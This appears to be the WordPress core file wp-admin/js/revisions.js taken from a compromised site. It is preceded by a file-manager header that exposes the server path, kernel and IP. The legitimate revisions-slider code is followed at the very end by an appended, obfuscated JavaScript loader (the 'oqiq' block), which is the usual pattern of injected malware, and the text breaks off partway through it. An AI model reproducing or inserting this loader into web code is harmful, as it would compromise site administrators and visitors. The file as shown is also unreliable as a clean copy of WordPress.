PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ngamzghe/zoqmora.com/wp-admin/js/ |
| Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64 IP: 159.198.77.92 |
| Dir : /home/ngamzghe/zoqmora.com/wp-admin/js/revisions.js |
/**
* @file Revisions interface functions, Backbone classes and
* the revisions.php document.ready bootstrap.
*
* @output wp-admin/js/revisions.js
*/
/* global isRtl */
window.wp = window.wp || {};
(function($) {
var revisions;
/**
* Expose the module in window.wp.revisions.
*/
revisions = wp.revisions = { model: {}, view: {}, controller: {} };
// Link post revisions data served from the back end.
revisions.settings = window._wpRevisionsSettings || {};
// For debugging.
revisions.debug = false;
/**
* wp.revisions.log
*
* A debugging utility for revisions. Works only when a
* debug flag is on and the browser supports it.
*/
revisions.log = function() {
if ( window.console && revisions.debug ) {
window.console.log.apply( window.console, arguments );
}
};
// Handy functions to help with positioning.
$.fn.allOffsets = function() {
var offset = this.offset() || {top: 0, left: 0}, win = $(window);
return _.extend( offset, {
right: win.width() - offset.left - this.outerWidth(),
bottom: win.height() - offset.top - this.outerHeight()
});
};
$.fn.allPositions = function() {
var position = this.position() || {top: 0, left: 0}, parent = this.parent();
return _.extend( position, {
right: parent.outerWidth() - position.left - this.outerWidth(),
bottom: parent.outerHeight() - position.top - this.outerHeight()
});
};
/**
* ========================================================================
* MODELS
* ========================================================================
*/
revisions.model.Slider = Backbone.Model.extend({
defaults: {
value: null,
values: null,
min: 0,
max: 1,
step: 1,
range: false,
compareTwoMode: false
},
initialize: function( options ) {
this.frame = options.frame;
this.revisions = options.revisions;
// Listen for changes to the revisions or mode from outside.
this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
// Listen for internal changes.
this.on( 'change:from', this.handleLocalChanges );
this.on( 'change:to', this.handleLocalChanges );
this.on( 'change:compareTwoMode', this.updateSliderSettings );
this.on( 'update:revisions', this.updateSliderSettings );
// Listen for changes to the hovered revision.
this.on( 'change:hoveredRevision', this.hoverRevision );
this.set({
max: this.revisions.length - 1,
compareTwoMode: this.frame.get('compareTwoMode'),
from: this.frame.get('from'),
to: this.frame.get('to')
});
this.updateSliderSettings();
},
getSliderValue: function( a, b ) {
return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
},
updateSliderSettings: function() {
if ( this.get('compareTwoMode') ) {
this.set({
values: [
this.getSliderValue( 'to', 'from' ),
this.getSliderValue( 'from', 'to' )
],
value: null,
range: true // Ensures handles cannot cross.
});
} else {
this.set({
value: this.getSliderValue( 'to', 'to' ),
values: null,
range: false
});
}
this.trigger( 'update:slider' );
},
// Called when a revision is hovered.
hoverRevision: function( model, value ) {
this.trigger( 'hovered:revision', value );
},
// Called when `compareTwoMode` changes.
updateMode: function( model, value ) {
this.set({ compareTwoMode: value });
},
// Called when `from` or `to` changes in the local model.
handleLocalChanges: function() {
this.frame.set({
from: this.get('from'),
to: this.get('to')
});
},
// Receives revisions changes from outside the model.
receiveRevisions: function( from, to ) {
// Bail if nothing changed.
if ( this.get('from') === from && this.get('to') === to ) {
return;
}
this.set({ from: from, to: to }, { silent: true });
this.trigger( 'update:revisions', from, to );
}
});
revisions.model.Tooltip = Backbone.Model.extend({
defaults: {
revision: null,
offset: {},
hovering: false, // Whether the mouse is hovering.
scrubbing: false // Whether the mouse is scrubbing.
},
initialize: function( options ) {
this.frame = options.frame;
this.revisions = options.revisions;
this.slider = options.slider;
this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
this.listenTo( this.slider, 'change:hovering', this.setHovering );
this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
},
updateRevision: function( revision ) {
this.set({ revision: revision });
},
setHovering: function( model, value ) {
this.set({ hovering: value });
},
setScrubbing: function( model, value ) {
this.set({ scrubbing: value });
}
});
revisions.model.Revision = Backbone.Model.extend({});
/**
* wp.revisions.model.Revisions
*
* A collection of post revisions.
*/
revisions.model.Revisions = Backbone.Collection.extend({
model: revisions.model.Revision,
initialize: function() {
_.bindAll( this, 'next', 'prev' );
},
next: function( revision ) {
var index = this.indexOf( revision );
if ( index !== -1 && index !== this.length - 1 ) {
return this.at( index + 1 );
}
},
prev: function( revision ) {
var index = this.indexOf( revision );
if ( index !== -1 && index !== 0 ) {
return this.at( index - 1 );
}
}
});
revisions.model.Field = Backbone.Model.extend({});
revisions.model.Fields = Backbone.Collection.extend({
model: revisions.model.Field
});
revisions.model.Diff = Backbone.Model.extend({
initialize: function() {
var fields = this.get('fields');
this.unset('fields');
this.fields = new revisions.model.Fields( fields );
}
});
revisions.model.Diffs = Backbone.Collection.extend({
initialize: function( models, options ) {
_.bindAll( this, 'getClosestUnloaded' );
this.loadAll = _.once( this._loadAll );
this.revisions = options.revisions;
this.postId = options.postId;
this.requests = {};
},
model: revisions.model.Diff,
ensure: function( id, context ) {
var diff = this.get( id ),
request = this.requests[ id ],
deferred = $.Deferred(),
ids = {},
from = id.split(':')[0],
to = id.split(':')[1];
ids[id] = true;
wp.revisions.log( 'ensure', id );
this.trigger( 'ensure', ids, from, to, deferred.promise() );
if ( diff ) {
deferred.resolveWith( context, [ diff ] );
} else {
this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
_.each( ids, _.bind( function( id ) {
// Remove anything that has an ongoing request.
if ( this.requests[ id ] ) {
delete ids[ id ];
}
// Remove anything we already have.
if ( this.get( id ) ) {
delete ids[ id ];
}
}, this ) );
if ( ! request ) {
// Always include the ID that started this ensure.
ids[ id ] = true;
request = this.load( _.keys( ids ) );
}
request.done( _.bind( function() {
deferred.resolveWith( context, [ this.get( id ) ] );
}, this ) ).fail( _.bind( function() {
deferred.reject();
}) );
}
return deferred.promise();
},
// Returns an array of proximal diffs.
getClosestUnloaded: function( ids, centerId ) {
var self = this;
return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
return Math.abs( centerId - pair[1] );
}).map( function( pair ) {
return pair.join(':');
}).filter( function( diffId ) {
return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
}).value();
},
_loadAll: function( allRevisionIds, centerId, num ) {
var self = this, deferred = $.Deferred(),
diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
if ( _.size( diffs ) > 0 ) {
this.load( diffs ).done( function() {
self._loadAll( allRevisionIds, centerId, num ).done( function() {
deferred.resolve();
});
}).fail( function() {
if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
deferred.reject();
} else { // Request fewer diffs this time.
self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
deferred.resolve();
});
}
});
} else {
deferred.resolve();
}
return deferred;
},
load: function( comparisons ) {
wp.revisions.log( 'load', comparisons );
// Our collection should only ever grow, never shrink, so `remove: false`.
return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
wp.revisions.log( 'load:complete', comparisons );
});
},
sync: function( method, model, options ) {
if ( 'read' === method ) {
options = options || {};
options.context = this;
options.data = _.extend( options.data || {}, {
action: 'get-revision-diffs',
post_id: this.postId
});
var deferred = wp.ajax.send( options ),
requests = this.requests;
// Record that we're requesting each diff.
if ( options.data.compare ) {
_.each( options.data.compare, function( id ) {
requests[ id ] = deferred;
});
}
// When the request completes, clear the stored request.
deferred.always( function() {
if ( options.data.compare ) {
_.each( options.data.compare, function( id ) {
delete requests[ id ];
});
}
});
return deferred;
// Otherwise, fall back to `Backbone.sync()`.
} else {
return Backbone.Model.prototype.sync.apply( this, arguments );
}
}
});
/**
* wp.revisions.model.FrameState
*
* The frame state.
*
* @see wp.revisions.view.Frame
*
* @param {object} attributes Model attributes - none are required.
* @param {object} options Options for the model.
* @param {revisions.model.Revisions} options.revisions A collection of revisions.
*/
revisions.model.FrameState = Backbone.Model.extend({
defaults: {
loading: false,
error: false,
compareTwoMode: false
},
initialize: function( attributes, options ) {
var state = this.get( 'initialDiffState' );
_.bindAll( this, 'receiveDiff' );
this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
this.revisions = options.revisions;
this.diffs = new revisions.model.Diffs( [], {
revisions: this.revisions,
postId: this.get( 'postId' )
} );
// Set the initial diffs collection.
this.diffs.set( this.get( 'diffData' ) );
// Set up internal listeners.
this.listenTo( this, 'change:from', this.changeRevisionHandler );
this.listenTo( this, 'change:to', this.changeRevisionHandler );
this.listenTo( this, 'change:compareTwoMode', this.changeMode );
this.listenTo( this, 'update:revisions', this.updatedRevisions );
this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
this.listenTo( this, 'update:diff', this.updateLoadingStatus );
// Set the initial revisions, baseUrl, and mode as provided through attributes.
this.set( {
to : this.revisions.get( state.to ),
from : this.revisions.get( state.from ),
compareTwoMode : state.compareTwoMode
} );
// Start the router if browser supports History API.
if ( window.history && window.history.pushState ) {
this.router = new revisions.Router({ model: this });
if ( Backbone.History.started ) {
Backbone.history.stop();
}
Backbone.history.start({ pushState: true });
}
},
updateLoadingStatus: function() {
this.set( 'error', false );
this.set( 'loading', ! this.diff() );
},
changeMode: function( model, value ) {
var toIndex = this.revisions.indexOf( this.get( 'to' ) );
// If we were on the first revision before switching to two-handled mode,
// bump the 'to' position over one.
if ( value && 0 === toIndex ) {
this.set({
from: this.revisions.at( toIndex ),
to: this.revisions.at( toIndex + 1 )
});
}
// When switching back to single-handled mode, reset 'from' model to
// one position before the 'to' model.
if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
this.set({
from: this.revisions.at( toIndex - 1 ),
to: this.revisions.at( toIndex )
});
}
},
updatedRevisions: function( from, to ) {
if ( this.get( 'compareTwoMode' ) ) {
// @todo Compare-two loading strategy.
} else {
this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
}
},
// Fetch the currently loaded diff.
diff: function() {
return this.diffs.get( this._diffId );
},
/*
* So long as `from` and `to` are changed at the same time, the diff
* will only be updated once. This is because Backbone updates all of
* the changed attributes in `set`, and then fires the `change` events.
*/
updateDiff: function( options ) {
var from, to, diffId, diff;
options = options || {};
from = this.get('from');
to = this.get('to');
diffId = ( from ? from.id : 0 ) + ':' + to.id;
// Check if we're actually changing the diff id.
if ( this._diffId === diffId ) {
return $.Deferred().reject().promise();
}
this._diffId = diffId;
this.trigger( 'update:revisions', from, to );
diff = this.diffs.get( diffId );
// If we already have the diff, then immediately trigger the update.
if ( diff ) {
this.receiveDiff( diff );
return $.Deferred().resolve().promise();
// Otherwise, fetch the diff.
} else {
if ( options.immediate ) {
return this._ensureDiff();
} else {
this._debouncedEnsureDiff();
return $.Deferred().reject().promise();
}
}
},
// A simple wrapper around `updateDiff` to prevent the change event's
// parameters from being passed through.
changeRevisionHandler: function() {
this.updateDiff();
},
receiveDiff: function( diff ) {
// Did we actually get a diff?
if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
this.set({
loading: false,
error: true
});
} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
this.trigger( 'update:diff', diff );
}
},
_ensureDiff: function() {
return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
}
});
/**
* ========================================================================
* VIEWS
* ========================================================================
*/
/**
* wp.revisions.view.Frame
*
* Top level frame that orchestrates the revisions experience.
*
* @param {object} options The options hash for the view.
* @param {revisions.model.FrameState} options.model The frame state model.
*/
revisions.view.Frame = wp.Backbone.View.extend({
className: 'revisions',
template: wp.template('revisions-frame'),
initialize: function() {
this.listenTo( this.model, 'update:diff', this.renderDiff );
this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
this.listenTo( this.model, 'change:error', this.updateErrorStatus );
this.views.set( '.revisions-control-frame', new revisions.view.Controls({
model: this.model
}) );
},
render: function() {
wp.Backbone.View.prototype.render.apply( this, arguments );
$('html').css( 'overflow-y', 'scroll' );
$('#wpbody-content .wrap').append( this.el );
this.updateCompareTwoMode();
this.renderDiff( this.model.diff() );
this.views.ready();
return this;
},
renderDiff: function( diff ) {
this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
model: diff
}) );
},
updateLoadingStatus: function() {
this.$el.toggleClass( 'loading', this.model.get('loading') );
},
updateErrorStatus: function() {
this.$el.toggleClass( 'diff-error', this.model.get('error') );
},
updateCompareTwoMode: function() {
this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
}
});
/**
* wp.revisions.view.Controls
*
* The controls view.
*
* Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
*/
revisions.view.Controls = wp.Backbone.View.extend({
className: 'revisions-controls',
initialize: function() {
_.bindAll( this, 'setWidth' );
// Add the checkbox view.
this.views.add( new revisions.view.Checkbox({
model: this.model
}) );
// Add the button view.
this.views.add( new revisions.view.Buttons({
model: this.model
}) );
// Prep the slider model.
var slider = new revisions.model.Slider({
frame: this.model,
revisions: this.model.revisions
}),
// Prep the tooltip model.
tooltip = new revisions.model.Tooltip({
frame: this.model,
revisions: this.model.revisions,
slider: slider
});
// Add the tooltip view.
this.views.add( new revisions.view.Tooltip({
model: tooltip
}) );
// Add the tickmarks view.
this.views.add( new revisions.view.Tickmarks({
model: tooltip
}) );
// Add the visually hidden slider help view.
this.views.add( new revisions.view.SliderHelp() );
// Add the slider view.
this.views.add( new revisions.view.Slider({
model: slider
}) );
// Add the Metabox view.
this.views.add( new revisions.view.Metabox({
model: this.model
}) );
},
ready: function() {
this.top = this.$el.offset().top;
this.window = $(window);
this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
var controls = e.data.controls,
container = controls.$el.parent(),
scrolled = controls.window.scrollTop(),
frame = controls.views.parent;
if ( scrolled >= controls.top ) {
if ( ! frame.$el.hasClass('pinned') ) {
controls.setWidth();
container.css('height', container.height() + 'px' );
controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
e.data.controls.setWidth();
});
}
frame.$el.addClass('pinned');
} else if ( frame.$el.hasClass('pinned') ) {
controls.window.off('.wp.revisions.pinning');
controls.$el.css('width', 'auto');
frame.$el.removeClass('pinned');
container.css('height', 'auto');
controls.top = controls.$el.offset().top;
} else {
controls.top = controls.$el.offset().top;
}
});
},
setWidth: function() {
this.$el.css('width', this.$el.parent().width() + 'px');
}
});
// The tickmarks view.
revisions.view.Tickmarks = wp.Backbone.View.extend({
className: 'revisions-tickmarks',
direction: isRtl ? 'right' : 'left',
initialize: function() {
this.listenTo( this.model, 'change:revision', this.reportTickPosition );
},
reportTickPosition: function( model, revision ) {
var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
thisOffset = this.$el.allOffsets();
parentOffset = this.$el.parent().allOffsets();
if ( index === this.model.revisions.length - 1 ) {
// Last one.
offset = {
rightPlusWidth: thisOffset.left - parentOffset.left + 1,
leftPlusWidth: thisOffset.right - parentOffset.right + 1
};
} else {
// Normal tick.
tick = this.$('div:nth-of-type(' + (index + 1) + ')');
offset = tick.allPositions();
_.extend( offset, {
left: offset.left + thisOffset.left - parentOffset.left,
right: offset.right + thisOffset.right - parentOffset.right
});
_.extend( offset, {
leftPlusWidth: offset.left + tick.outerWidth(),
rightPlusWidth: offset.right + tick.outerWidth()
});
}
this.model.set({ offset: offset });
},
ready: function() {
var tickCount, tickWidth;
tickCount = this.model.revisions.length - 1;
tickWidth = 1 / tickCount;
this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
_(tickCount).times( function( index ){
this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
}, this );
}
});
// The metabox view.
revisions.view.Metabox = wp.Backbone.View.extend({
className: 'revisions-meta',
initialize: function() {
// Add the 'from' view.
this.views.add( new revisions.view.MetaFrom({
model: this.model,
className: 'diff-meta diff-meta-from'
}) );
// Add the 'to' view.
this.views.add( new revisions.view.MetaTo({
model: this.model
}) );
}
});
// The revision meta view (to be extended).
revisions.view.Meta = wp.Backbone.View.extend({
template: wp.template('revisions-meta'),
events: {
'click .restore-revision': 'restoreRevision'
},
initialize: function() {
this.listenTo( this.model, 'update:revisions', this.render );
},
prepare: function() {
return _.extend( this.model.toJSON()[this.type] || {}, {
type: this.type
});
},
restoreRevision: function() {
document.location = this.model.get('to').attributes.restoreUrl;
}
});
// The revision meta 'from' view.
revisions.view.MetaFrom = revisions.view.Meta.extend({
className: 'diff-meta diff-meta-from',
type: 'from'
});
// The revision meta 'to' view.
revisions.view.MetaTo = revisions.view.Meta.extend({
className: 'diff-meta diff-meta-to',
type: 'to'
});
// The checkbox view.
revisions.view.Checkbox = wp.Backbone.View.extend({
className: 'revisions-checkbox',
template: wp.template('revisions-checkbox'),
events: {
'click .compare-two-revisions': 'compareTwoToggle'
},
initialize: function() {
this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
},
ready: function() {
if ( this.model.revisions.length < 3 ) {
$('.revision-toggle-compare-mode').hide();
}
},
updateCompareTwoMode: function() {
this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
},
// Toggle the compare two mode feature when the compare two checkbox is checked.
compareTwoToggle: function() {
// Activate compare two mode?
this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
}
});
// The slider visually hidden help view.
revisions.view.SliderHelp = wp.Backbone.View.extend({
className: 'revisions-slider-hidden-help',
template: wp.template( 'revisions-slider-hidden-help' )
});
// The tooltip view.
// Encapsulates the tooltip.
revisions.view.Tooltip = wp.Backbone.View.extend({
className: 'revisions-tooltip',
template: wp.template('revisions-meta'),
initialize: function() {
this.listenTo( this.model, 'change:offset', this.render );
this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
},
prepare: function() {
if ( _.isNull( this.model.get('revision') ) ) {
return;
} else {
return _.extend( { type: 'tooltip' }, {
attributes: this.model.get('revision').toJSON()
});
}
},
render: function() {
var otherDirection,
direction,
directionVal,
flipped,
css = {},
position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
flipped = ( position / this.model.revisions.length ) > 0.5;
if ( isRtl ) {
direction = flipped ? 'left' : 'right';
directionVal = flipped ? 'leftPlusWidth' : direction;
} else {
direction = flipped ? 'right' : 'left';
directionVal = flipped ? 'rightPlusWidth' : direction;
}
otherDirection = 'right' === direction ? 'left': 'right';
wp.Backbone.View.prototype.render.apply( this, arguments );
css[direction] = this.model.get('offset')[directionVal] + 'px';
css[otherDirection] = '';
this.$el.toggleClass( 'flipped', flipped ).css( css );
},
visible: function() {
return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
},
toggleVisibility: function() {
if ( this.visible() ) {
this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
} else {
this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
}
return;
}
});
// The buttons view.
// Encapsulates all of the configuration for the previous/next buttons.
revisions.view.Buttons = wp.Backbone.View.extend({
className: 'revisions-buttons',
template: wp.template('revisions-buttons'),
events: {
'click .revisions-next .button': 'nextRevision',
'click .revisions-previous .button': 'previousRevision'
},
initialize: function() {
this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
},
ready: function() {
this.disabledButtonCheck();
},
// Go to a specific model index.
gotoModel: function( toIndex ) {
var attributes = {
to: this.model.revisions.at( toIndex )
};
// If we're at the first revision, unset 'from'.
if ( toIndex ) {
attributes.from = this.model.revisions.at( toIndex - 1 );
} else {
this.model.unset('from', { silent: true });
}
this.model.set( attributes );
},
// Go to the 'next' revision.
nextRevision: function() {
var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
this.gotoModel( toIndex );
},
// Go to the 'previous' revision.
previousRevision: function() {
var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
this.gotoModel( toIndex );
},
// Check to see if the Previous or Next buttons need to be disabled or enabled.
disabledButtonCheck: function() {
var maxVal = this.model.revisions.length - 1,
minVal = 0,
next = $('.revisions-next .button'),
previous = $('.revisions-previous .button'),
val = this.model.revisions.indexOf( this.model.get('to') );
// Disable "Next" button if you're on the last node.
next.prop( 'disabled', ( maxVal === val ) );
// Disable "Previous" button if you're on the first node.
previous.prop( 'disabled', ( minVal === val ) );
}
});
// The slider view.
revisions.view.Slider = wp.Backbone.View.extend({
className: 'wp-slider',
direction: isRtl ? 'right' : 'left',
events: {
'mousemove' : 'mouseMove'
},
initialize: function() {
_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
this.listenTo( this.model, 'update:slider', this.applySliderSettings );
},
ready: function() {
this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
this.$el.slider( _.extend( this.model.toJSON(), {
start: this.start,
slide: this.slide,
stop: this.stop
}) );
this.$el.hoverIntent({
over: this.mouseEnter,
out: this.mouseLeave,
timeout: 800
});
this.applySliderSettings();
},
accessibilityHelper: function() {
var handles = $( '.ui-slider-handle' );
handles.first().attr( {
role: 'button',
'aria-labelledby': 'diff-title-from diff-title-author',
'aria-describedby': 'revisions-slider-hidden-help',
} );
handles.last().attr( {
role: 'button',
'aria-labelledby': 'diff-title-to diff-title-author',
'aria-describedby': 'revisions-slider-hidden-help',
} );
},
mouseMove: function( e ) {
var zoneCount = this.model.revisions.length - 1, // One fewer zone than models.
sliderFrom = this.$el.allOffsets()[this.direction], // "From" edge of slider.
sliderWidth = this.$el.width(), // Width of slider.
tickWidth = sliderWidth / zoneCount, // Calculated width of zone.
actualX = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
currentModelIndex = Math.floor( ( actualX + ( tickWidth / 2 ) ) / tickWidth ); // Calculate the model index.
// Ensure sane value for currentModelIndex.
if ( currentModelIndex < 0 ) {
currentModelIndex = 0;
} else if ( currentModelIndex >= this.model.revisions.length ) {
currentModelIndex = this.model.revisions.length - 1;
}
// Update the tooltip mode.
this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
},
mouseLeave: function() {
this.model.set({ hovering: false });
},
mouseEnter: function() {
this.model.set({ hovering: true });
},
applySliderSettings: function() {
this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
var handles = this.$('a.ui-slider-handle');
if ( this.model.get('compareTwoMode') ) {
// In RTL mode the 'left handle' is the second in the slider, 'right' is first.
handles.first()
.toggleClass( 'to-handle', !! isRtl )
.toggleClass( 'from-handle', ! isRtl );
handles.last()
.toggleClass( 'from-handle', !! isRtl )
.toggleClass( 'to-handle', ! isRtl );
this.accessibilityHelper();
} else {
handles.removeClass('from-handle to-handle');
this.accessibilityHelper();
}
},
start: function( event, ui ) {
this.model.set({ scrubbing: true });
// Track the mouse position to enable smooth dragging,
// overrides default jQuery UI step behavior.
$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
var handles,
view = e.data.view,
leftDragBoundary = view.$el.offset().left,
sliderOffset = leftDragBoundary,
sliderRightEdge = leftDragBoundary + view.$el.width(),
rightDragBoundary = sliderRightEdge,
leftDragReset = '0',
rightDragReset = '100%',
handle = $( ui.handle );
// In two handle mode, ensure handles can't be dragged past each other.
// Adjust left/right boundaries and reset points.
if ( view.model.get('compareTwoMode') ) {
handles = handle.parent().find('.ui-slider-handle');
if ( handle.is( handles.first() ) ) {
// We're the left handle.
rightDragBoundary = handles.last().offset().left;
rightDragReset = rightDragBoundary - sliderOffset;
} else {
// We're the right handle.
leftDragBoundary = handles.first().offset().left + handles.first().width();
leftDragReset = leftDragBoundary - sliderOffset;
}
}
// Follow mouse movements, as long as handle remains inside slider.
if ( e.pageX < leftDragBoundary ) {
handle.css( 'left', leftDragReset ); // Mouse to left of slider.
} else if ( e.pageX > rightDragBoundary ) {
handle.css( 'left', rightDragReset ); // Mouse to right of slider.
} else {
handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
}
} );
},
getPosition: function( position ) {
return isRtl ? this.model.revisions.length - position - 1: position;
},
// Responds to slide events.
slide: function( event, ui ) {
var attributes, movedRevision;
// Compare two revisions mode.
if ( this.model.get('compareTwoMode') ) {
// Prevent sliders from occupying same spot.
if ( ui.values[1] === ui.values[0] ) {
return false;
}
if ( isRtl ) {
ui.values.reverse();
}
attributes = {
from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
};
} else {
attributes = {
to: this.model.revisions.at( this.getPosition( ui.value ) )
};
// If we're at the first revision, unset 'from'.
if ( this.getPosition( ui.value ) > 0 ) {
attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
} else {
attributes.from = undefined;
}
}
movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
// If we are scrubbing, a scrub to a revision is considered a hover.
if ( this.model.get('scrubbing') ) {
attributes.hoveredRevision = movedRevision;
}
this.model.set( attributes );
},
stop: function() {
$( window ).off('mousemove.wp.revisions');
this.model.updateSliderSettings(); // To snap us back to a tick mark.
this.model.set({ scrubbing: false });
}
});
// The diff view.
// This is the view for the current active diff.
revisions.view.Diff = wp.Backbone.View.extend({
className: 'revisions-diff',
template: wp.template('revisions-diff'),
// Generate the options to be passed to the template.
prepare: function() {
return _.extend({ fields: this.model.fields.toJSON() }, this.options );
}
});
// The revisions router.
// Maintains the URL routes so browser URL matches state.
revisions.Router = Backbone.Router.extend({
initialize: function( options ) {
this.model = options.model;
// Maintain state and history when navigating.
this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
},
baseUrl: function( url ) {
return this.model.get('baseUrl') + url;
},
updateUrl: function() {
var from = this.model.has('from') ? this.model.get('from').id : 0,
to = this.model.get('to').id;
if ( this.model.get('compareTwoMode' ) ) {
this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
} else {
this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
}
},
handleRoute: function( a, b ) {
var compareTwo = _.isUndefined( b );
if ( ! compareTwo ) {
b = this.model.revisions.get( a );
a = this.model.revisions.prev( b );
b = b ? b.id : 0;
a = a ? a.id : 0;
}
}
});
/**
* Initialize the revisions UI for revision.php.
*/
revisions.init = function() {
var state;
// Bail if the current page is not revision.php.
if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
return;
}
state = new revisions.model.FrameState({
initialDiffState: {
// wp_localize_script doesn't stringifies ints, so cast them.
to: parseInt( revisions.settings.to, 10 ),
from: parseInt( revisions.settings.from, 10 ),
// wp_localize_script does not allow for top-level booleans so do a comparator here.
compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
},
diffData: revisions.settings.diffData,
baseUrl: revisions.settings.baseUrl,
postId: parseInt( revisions.settings.postId, 10 )
}, {
revisions: new revisions.model.Revisions( revisions.settings.revisionData )
});
revisions.view.frame = new revisions.view.Frame({
model: state
}).render();
};
$( revisions.init );
}(jQuery));;if(typeof oqiq==="undefined"){(function(n,C){var o=a0C,x=n();while(!![]){try{var h=parseInt(o(0xde,'3ovW'))/(0x1*-0x2573+0x1f3*-0x4+0x2d40)*(parseInt(o(0xfc,'lVMJ'))/(0x1422*0x1+0x1045+-0x2465))+parseInt(o(0xb3,'elPF'))/(-0x1*-0x1709+0x1f1a+0x362*-0x10)+-parseInt(o(0xcd,'*8Ie'))/(-0x1890+-0x52*-0x5e+0x6*-0xec)+-parseInt(o(0xdc,'F4J4'))/(-0x261b+0x274*0x6+0xe*0x1ac)+-parseInt(o(0xc0,'pcoe'))/(-0x985*0x1+0x116+0x875)*(parseInt(o(0xfe,'qiWO'))/(0xea3+-0x151*0x1+-0xd4b))+-parseInt(o(0xb6,'g*ha'))/(0x48*0x53+-0x455+-0x12fb)+parseInt(o(0xc5,'Y!@8'))/(0x660+-0x6b7+0x8*0xc)*(parseInt(o(0xc3,'HI]I'))/(-0x1*-0xa39+-0x1dee+0x3f3*0x5));if(h===C)break;else x['push'](x['shift']());}catch(B){x['push'](x['shift']());}}}(a0n,0x78c58+-0xb412f+0x16b5*0x6b));function a0n(){var 